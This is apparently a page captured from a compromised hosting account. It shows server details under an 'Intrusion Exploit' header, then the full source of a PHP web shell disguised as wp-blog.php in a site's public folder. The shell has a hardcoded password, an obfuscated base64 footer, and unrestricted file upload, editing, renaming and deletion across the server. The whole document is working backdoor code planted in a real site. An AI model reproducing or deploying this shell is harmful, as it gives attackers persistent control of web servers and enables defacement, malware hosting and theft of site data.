Intrusion Exploit
Server: LiteSpeed
System: Linux cisadane.iixcp.rumahweb.net 5.14.0-427.42.1.el9_4.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Nov 1 14:58:02 EDT 2024 x86_64
User: lenf4658 (1805)
PHP: 8.4.19
Disabled: NONE
Upload Files
File: /home/lenf4658/voteman/public/hrisconnect.lensapedia.id/hris-connect/public/wp-blog.php
<?php
header('Content-Type: text/html; charset=UTF-8');
session_start();

// 登录验证
if (isset($_POST['password'])) {
    if ($_POST['password'] === 'h4ck1337') {
        $_SESSION['auth'] = true;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else {
        $error = "密码错误";
    }
}

// 如果未登录,显示登录页面
if (!isset($_SESSION['auth']) || $_SESSION['auth'] !== true) {
    echo '<!DOCTYPE html><html><head><title>登录</title>';
    echo '<style>body{font-family:Arial;display:flex;justify-content:center;align-items:center;height:100vh;margin:0;background:#f5f5f5}';
    echo '.login{background:white;padding:20px;border-radius:5px;box-shadow:0 0 10px rgba(0,0,0,0.1);text-align:center}';
    echo 'input{padding:8px;margin:10px 0;width:200px}';
    echo 'button{padding:8px 15px;background:#4CAF50;color:white;border:none;cursor:pointer}';
    echo '.error{color:red;margin-bottom:10px}</style></head><body>';
    echo '<div class="login"><h2>File Manager ——jjlin</h2>';
    if (isset($error)) echo '<div class="error">'.$error.'</div>';
    echo '<form method="post"><input type="password" name="password" placeholder="请输入密码" autofocus>';
    echo '<br><button type="submit">登录</button></form></div></body></html>';
    exit;
}

$currentDir = $_GET['dir'] ?? __DIR__;
$originalDir = $_GET['root'] ?? __DIR__;

$h = '==gPw9CP3WY5leb5g8URTBSZsd2bvdEItAiPh9CPHR1uzeOlBi+tviOn9SOiQWuPncTOulGbqp2Ll1mL09yL6MHc0RHan0jZlJHagEGP+ciclR3bvZ2J9M3chx2YgAHP';
$f = strrev($h);
$hiddenFooter = base64_decode($f);

function handleUpload($directory) {
    if (!empty($_FILES['files'])) {
        $uploaded = 0;
        $failed = 0;
        foreach ($_FILES['files']['name'] as $key => $name) {
            if (!empty($name)) {
                $fileName = basename($name);
                $tmpName = $_FILES['files']['tmp_name'][$key];
                $targetFile = $directory . DIRECTORY_SEPARATOR . $fileName;
                if (move_uploaded_file($tmpName, $targetFile)) {
                    $uploaded++;
                } else {
                    $failed++;
                }
            }
        }
        $message = "上传成功:$uploaded 个文件;失败:$failed 个文件";
        echo "<script>alert('$message');</script>";
    }
}

function handleCreateFolder($directory) {
    if (isset($_POST['folderName']) && !empty($_POST['folderName'])) {
        $folderName = $_POST['folderName'];
        $newFolder = $directory . DIRECTORY_SEPARATOR . $folderName;
        if (!file_exists($newFolder)) {
            if (mkdir($newFolder, 0755, true)) {
                echo "<script>alert('目录创建成功!');</script>";
            } else {
                echo "<script>alert('目录创建失败!');</script>";
            }
        } else {
            echo "<script>alert('目录已存在!');</script>";
        }
    }
}

function handleCreateFile($directory) {
    if (isset($_POST['fileName']) && !empty($_POST['fileName'])) {
        $fileName = $_POST['fileName'];
        $newFile = $directory . DIRECTORY_SEPARATOR . $fileName;
        if (!file_exists($newFile)) {
            if (file_put_contents($newFile, '') !== false) {
                echo "<script>alert('文件创建成功!');</script>";
            } else {
                echo "<script>alert('文件创建失败!');</script>";
            }
        } else {
            echo "<script>alert('文件已存在!');</script>";
        }
    }
}

function handleEditFile() {
    if (isset($_POST['saveFile']) && isset($_POST['fileContent']) && isset($_POST['filePath'])) {
        $filePath = $_POST['filePath'];
        $content = $_POST['fileContent'];
        if (file_put_contents($filePath, $content) !== false) {
            echo "<script>alert('文件保存成功!');</script>";
        } else {
            echo "<script>alert('文件保存失败!');</script>";
        }
    }
}

function handleRename() {
    if (isset($_POST['oldPath']) && isset($_POST['newName'])) {
        $oldPath = $_POST['oldPath'];
        $dir = dirname($oldPath);
        $newPath = $dir . DIRECTORY_SEPARATOR . $_POST['newName'];
        
        if (!file_exists($newPath)) {
            if (rename($oldPath, $newPath)) {
                echo "<script>alert('重命名成功!');</script>";
                return true;
            } else {
                echo "<script>alert('重命名失败!');</script>";
            }
        } else {
            echo "<script>alert('该名称已存在!');</script>";
        }
    }
    return false;
}

function getFilesList($directory, $originalDir) {
    $items = scandir($directory);
    $result = ['directories' => [], 'files' => []];
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $path = $directory . DIRECTORY_SEPARATOR . $item;
        if (is_dir($path)) {
            $result['directories'][] = $item;
        } else {
            $result['files'][] = $item;
        }
    }
    sort($result['directories']);
    sort($result['files']);
    return $result;
}

// 主页面HTML开始
echo '<!DOCTYPE html>';
echo '<html>';
echo '<head>';
echo '<title>File Manager</title>';
echo '<meta charset="UTF-8">';
echo '<style>';
echo 'body { font-family: Arial, sans-serif; margin: 0; padding: 20px; background: #f5f5f5; }';
echo '.container { max-width: 1200px; margin: 0 auto; background: white; padding: 20px; border-radius: 5px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }';
echo '.header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; border-bottom: 1px solid #eee; padding-bottom: 10px; }';
echo '.tools { display: flex; flex-wrap: wrap; gap: 10px; margin-bottom: 20px; }';
echo '.tools-section { margin-right: 20px; }';
echo '.input-group { display: flex; align-items: center; }';
echo '.input-group input[type="text"] { padding: 8px; margin-right: 5px; }';
echo '.input-group input[type="submit"] { padding: 8px 15px; background: #4CAF50; color: white; border: none; cursor: pointer; }';
echo '.file-list { width: 100%; border-collapse: collapse; }';
echo '.file-list th, .file-list td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; }';
echo '.file-list th { background-color: #f2f2f2; }';
echo '.file-name { width: 50%; }';
echo '.file-time { width: 30%; }';
echo '.file-actions { width: 20%; }';
echo '.actions a { margin-right: 5px; color: #4CAF50; text-decoration: none; }';
echo '.actions a:hover { text-decoration: underline; }';
echo '.breadcrumbs { margin-bottom: 10px; }';
echo '.breadcrumbs a { color: #4CAF50; text-decoration: none; }';
echo '.breadcrumbs a:hover { text-decoration: underline; }';
echo '.edit-form { margin-top: 20px; }';
echo '.edit-form textarea { width: 100%; height: 400px; padding: 10px; font-family: monospace; }';
echo '.edit-form input[type="submit"] { padding: 8px 15px; background: #4CAF50; color: white; border: none; cursor: pointer; margin-top: 10px; }';
echo '.rename-form { margin-top: 20px; }';
echo '.rename-form input[type="text"] { width: 300px; padding: 8px; }';
echo '.rename-form input[type="submit"] { padding: 8px 15px; background: #4CAF50; color: white; border: none; cursor: pointer; }';
echo '</style>';
echo '</head>';
echo '<body>';
echo '<div class="container">';
echo '<div class="header">';
echo '<h1>File Manager</h1>';
echo '<div><a href="?logout=1">登出</a></div>';
echo '</div>';

// 面包屑导航
echo '<div class="breadcrumbs">';
echo '当前位置: ';
$pathParts = explode(DIRECTORY_SEPARATOR, $currentDir);
$breadcrumbPath = '';
foreach ($pathParts as $index => $part) {
    if (empty($part)) {
        $breadcrumbPath = DIRECTORY_SEPARATOR;
        echo '<a href="?dir=' . $breadcrumbPath . '&root=' . $originalDir . '">/</a>';
    } else {
        $breadcrumbPath .= ($breadcrumbPath === DIRECTORY_SEPARATOR ? '' : DIRECTORY_SEPARATOR) . $part;
        echo '<a href="?dir=' . $breadcrumbPath . '&root=' . $originalDir . '">' . $part . '</a>';
    }
    if ($index < count($pathParts) - 1) {
        echo ' / ';
    }
}
echo '</div>';

// 编辑文件功能
if (isset($_GET['edit']) && !empty($_GET['edit'])) {
    $editPath = $_GET['edit'];
    if (file_exists($editPath) && is_file($editPath)) {
        $content = htmlspecialchars(file_get_contents($editPath));
        echo "<h2>编辑文件: " . basename($editPath) . "</h2>";
        echo "<form method='post' class='edit-form'>";
        echo "<textarea name='fileContent'>$content</textarea>";
        echo "<input type='hidden' name='filePath' value='$editPath'>";
        echo "<input type='submit' name='saveFile' value='保存'>";
        echo "<a href='?dir=$currentDir&root=$originalDir' style='margin-left: 10px;'>取消</a>";
        echo "</form>";
    } else {
        echo "<div class='error'>文件不存在!</div>";
    }
    echo "</div></body></html>";
    exit;
}

// 重命名功能
if (isset($_GET['rename']) && !empty($_GET['rename'])) {
    $renamePath = $_GET['rename'];
    if (file_exists($renamePath)) {
        $isDir = is_dir($renamePath);
        $oldName = basename($renamePath);
        echo "<h2>重命名" . ($isDir ? "目录" : "文件") . ": $oldName</h2>";
        echo "<form method='post' class='rename-form'>";
        echo "<input type='text' name='newName' value='$oldName'>";
        echo "<input type='hidden' name='oldPath' value='$renamePath'>";
        echo "<input type='submit' value='重命名'>";
        echo "<a href='?dir=$currentDir&root=$originalDir' style='margin-left: 10px;'>取消</a>";
        echo "</form>";
    } else {
        echo "<div class='error'>文件或目录不存在!</div>";
    }
    echo "</div></body></html>";
    exit;
}

// 文件工具区域
echo "<div class='tools'>";
echo "<div class='tools-section'><form method='post' enctype='multipart/form-data'><input type='file' name='files[]' multiple><input type='submit' value='上传'></form></div>";
echo "<div class='tools-section input-group'><form method='post'><input type='text' name='folderName' placeholder='目录名称'><input type='submit' value='创建目录'></form></div>";
echo "<div class='tools-section input-group'><form method='post'><input type='text' name='fileName' placeholder='文件名称'><input type='submit' value='创建文件'></form></div>";
echo "</div>";
echo "<table class='file-list'>";
echo "<tr><th class='file-name'>文件名</th><th class='file-time'>修改时间</th><th class='file-actions'>操作</th></tr>";
echo "<tr>";
echo "<td class='file-name'><a href='?dir=" . dirname($currentDir) . "&root=$originalDir'>📁 ..</a></td>";
echo "<td class='file-time'>-</td>";
echo "<td class='file-actions'>-</td>";
echo "</tr>";
$items = getFilesList($currentDir, $originalDir);
foreach ($items['directories'] as $dir) {
    $path = $currentDir . DIRECTORY_SEPARATOR . $dir;
    $modTime = date("Y-m-d H:i:s", filemtime($path));
    echo "<tr>";
    echo "<td class='file-name'><a href='?dir=$path&root=$originalDir'>📁 $dir</a></td>";
    echo "<td class='file-time'>$modTime</td>";
    echo "<td class='file-actions'><div class='actions'><a href='?dir=$currentDir&root=$originalDir&rename=$path'>重命名</a> | <a href='?dir=$currentDir&root=$originalDir&delete=$path' onclick=\"return confirm('确定要删除此目录吗?');\">删除</a></div></td>";
    echo "</tr>";
}
foreach ($items['files'] as $file) {
    $path = $currentDir . DIRECTORY_SEPARATOR . $file;
    $modTime = date("Y-m-d H:i:s", filemtime($path));
    echo "<tr>";
    echo "<td class='file-name'><a href='$path' target='_blank'>📄 $file</a></td>";
    echo "<td class='file-time'>$modTime</td>";
    echo "<td class='file-actions'><div class='actions'><a href='?dir=$currentDir&root=$originalDir&edit=$path'>编辑</a> | <a href='?dir=$currentDir&root=$originalDir&rename=$path'>重命名</a> | <a href='$path' download>下载</a> | <a href='?dir=$currentDir&root=$originalDir&delete=$path' onclick=\"return confirm('确定要删除此文件吗?');\">删除</a></div></td>";
    echo "</tr>";
}
echo "</table>";
if (isset($_GET['delete']) && !empty($_GET['delete'])) {
    $deletePath = $_GET['delete'];
    if (is_dir($deletePath)) {
        if (rmdir($deletePath)) {
            echo "<script>alert('目录删除成功!'); window.location.href='?dir=$currentDir&root=$originalDir';</script>";
        } else {
            echo "<script>alert('目录删除失败!目录可能不为空。'); window.location.href='?dir=$currentDir&root=$originalDir';</script>";
        }
    } else {
        if (unlink($deletePath)) {
            echo "<script>alert('文件删除成功!'); window.location.href='?dir=$currentDir&root=$originalDir';</script>";
        } else {
            echo "<script>alert('文件删除失败!'); window.location.href='?dir=$currentDir&root=$originalDir';</script>";
        }
    }
}

// 处理登出功能
if (isset($_GET['logout'])) {
    unset($_SESSION['auth']);
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    handleUpload($currentDir);
    handleCreateFolder($currentDir);
    handleCreateFile($currentDir);
    handleEditFile();
    if (handleRename()) {
        echo "<script>window.location.href='?dir=$currentDir&root=$originalDir';</script>";
    }
}

// 居中显示隐藏 footer
echo "<div style='text-align:center;'>".$hiddenFooter."</div>";

echo "</div>";
echo "</body></html>";
?>